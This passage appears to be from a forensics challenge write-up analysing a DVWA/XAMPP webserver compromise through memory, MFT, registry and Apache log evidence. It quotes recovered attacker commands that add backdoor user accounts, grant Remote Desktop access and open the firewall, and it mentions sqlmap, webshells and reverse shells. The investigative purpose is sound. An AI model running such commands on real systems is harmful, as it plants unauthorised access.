dir C:\
mkdir abc
dir
Volatility's consoles plugin gave us a wealth of attacker commands, some were covered earlier related to the account creation section:
******************
Attacker Commands:
******************
Cmd #0 @ 0xe907c8: ipconfig
Cmd #1 @ 0xe91af8: cls
Cmd #2 @ 0xe91db0: ipconfig
Cmd #3 @ 0x5a34bd0: net user user1 user1 /add
Cmd #4 @ 0x5a34eb8: net user user1 root@psut /add
Cmd #5 @ 0x5a34c10: net user user1 Root@psut /add
Cmd #6 @ 0x5a24800: cls
Cmd #7 @ 0x5a34c58: net /?
Cmd #8 @ 0x5a34d88: net localgroup /?
Cmd #9 @ 0x5a34f48: net localgroup "Remote Desktop
Users" user1 /add
Cmd #10 @ 0x5a34c70: net /?
Cmd #11 @ 0xe911b0: netsh /?
Cmd #12 @ 0xe907e8: netsh firewall /?
Cmd #13 @ 0xe91218: netsh firewall set service type =
remotedesktop /?
Cmd #14 @ 0xe91288: netsh firewall set service type =
remotedesktop enable
Cmd #15 @ 0xe91300: netsh firewall set service
type=remotedesktop mode=enable
Cmd #16 @ 0xe91380: netsh firewall set service
type=remotedesktop mode=enable scope=subnet
CommandProcess: csrss.exe Pid: 524
CommandHistory: 0x5a30950 Application: cmd.exe
Cmd #0 @ 0xe91970: netsh fireall set service
type=remotedesktop mode=enable scope=subnet
Cmd #1 @ 0x5a17b58: netsh firewall set service
type=remotedesktop mode=enable scope=subnet
Cmd #38 @ 0x5a30bc8:
Cmd #39 @ 0x5a24890: et.exe
Cmd #48 @ 0x5a24890: et.exe
Cmd #49 @ 0xe91af8: cls
Q3 answers: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks)
The attacker left behind Windows enumeration activities on the victim in memory, on the filesystem and in the registry.
The attacker leveraged SQL injection to upload the webshell tmpudvfh.php with the tool SQLMAP.
They also modified a webshell, c99.php, with wordpad to include the text "Owned by Hacker". The file data.txt was also added to the victim webserver. Finally, the attacker leveraged a 3 pronged PHP reverse shell to traverse and enumerate the victim server directly.
Question 4: What software has been installed on the box, and were they installed by the attacker(s) or not?
After reviewing the c99.php activity that was seen both in both the Apache access.log and the administrator's NTUSER.dat registry hive, I wanted to know when the file first existed on disk. This would help add context to the main question here - "what software was installed on the box, was it done by the attacker?". I first tried to find the master file table ($MFT) activity in my timeline, but it wasn't as clear as I wanted in that I couldn't find a clear creation time for c99.php. After copying off the $MFT file from the root of my mounted Windows drive, I used David Kovar's AnalyzeMFT, as it's my go to $MFT parser for standalone duties. I had a Windows ported PE32 copy handy and my syntax looked like this:
C:\tools\MFT\analyzeMFT-V1-7-x86.exe -f "D:\Challenges\binaryzone_9-16-15\host image\$MFT" -o "D:\Challenges\binaryzone_9-16-15\host image\MFT.csv"
$MFT Entry for C99.php |
The actual creation time (FN creation) is June 9 2012 at 5:57 PM (GMT). I always look at the FN attribute as it's a timestamp that is not easy to timestomp like he SI timestamp attributes are.
Our last modified time is Sep 3 2015 at 3:20 AM (GMT) which is inline with what we knew from our earlier timeline analysis and our attacker adding their "Owned by hacker" insignia in c99.php. On that same sentiment, I checked the $MFT for the /xampp and /xampp/htdocs/DVWA as they both housed vulnerable applications leveraged by the attacker like Apache (httpd.exe) and some of the DVWA php webshells.
The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC) and the /xampp/htdocs/DVWA folder was created on Aug 23 2015 at 10:52 PM (UTC). Walking backwards through the disk timeline yielded no additional signs of attacker activity. The administrator account appeared not to be compromised on Aug 23 2015 and could be seen on the box a minute before the /xamp folder's creation; DVWA was also installed over approximately the next 15 minutes. To answer the question itself "...was it done by the attacker?", my answer is no, it was not.
Finally I wanted to pivot back to the 9/2 attacker account creation. I checked the access.log file and found attacker activity on that date and time against the page. Similar to the attacker's addition of the "data.txt" file discussed earlier we see HTTP POST activity and interaction with the "exec" resource which provides reverse shell access to the victim.
192.168.56.102 - - [02/Sep/2015:01:59:52 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:02:33 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:03:18 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:04:36 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:05:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:19:21 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:25:04 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4840 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:02:33 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:03:18 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:04:36 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:05:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:19:21 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
192.168.56.102 - - [02/Sep/2015:02:25:04 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4840 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"
Damn Vulnerable Web Application (DVWA) was installed on the victim webserver. It does not appear to have been installed by the attacker.
Question 5:Using memory forensics, can you identify the type of shellcode used?
I was unable to find anything that confirmed shellcode was used in memory. I leveraged Volatility's malfind plugin and also used multiple Yara shellcode signatures across memory searching for known opcode instructions associated with shellcode usage.
Question 6: What is the timeline analysis for all events that happened on the box?
- The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC)
- The /xampp/htdocs/DVWA folder and application was created on Aug 23 2015 at 10:52 PM (UTC).
- The attacker created the user account "user1" on Sep 2 2015 at 09:05:06 AM (UTC)
- The attacker created the user account "hacker" on Sep 2 2015 at 09:05:25 AM (UTC)
- The attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on Sep 2 2015 at 9:32 AM UTC
- Between Sep 2 2015 6:59 AM UTC and 7:24 AM UTC the attacker used the reverse Windows command shell index.php (which housed 3 seperate reverse shells) to interact with the victim webserver.
- The attacker had command line interaction from the IP address 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT). The Windows commands "dir", "dir C:\" and "mkdir abc"were successfully issued.
- The attacker added the "Owned by Hacker" to c99.php using WordPAD on September 3 2015 07:20 PM (UTC).
- A webshell that provided a reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
- The Apache access.log log file shows successful SQL Injection activity from the IP 192.168.56.102 on Sep 3 2015 at 6:52 AM (UTC) and what appears to be a successful upload of tmpudvfh.php
- The attacker created the directory "abc" at the location /xampp/htdocs/DVWA/hackable/uploads/ on Sep 3 2015 7:17 AM (UTC)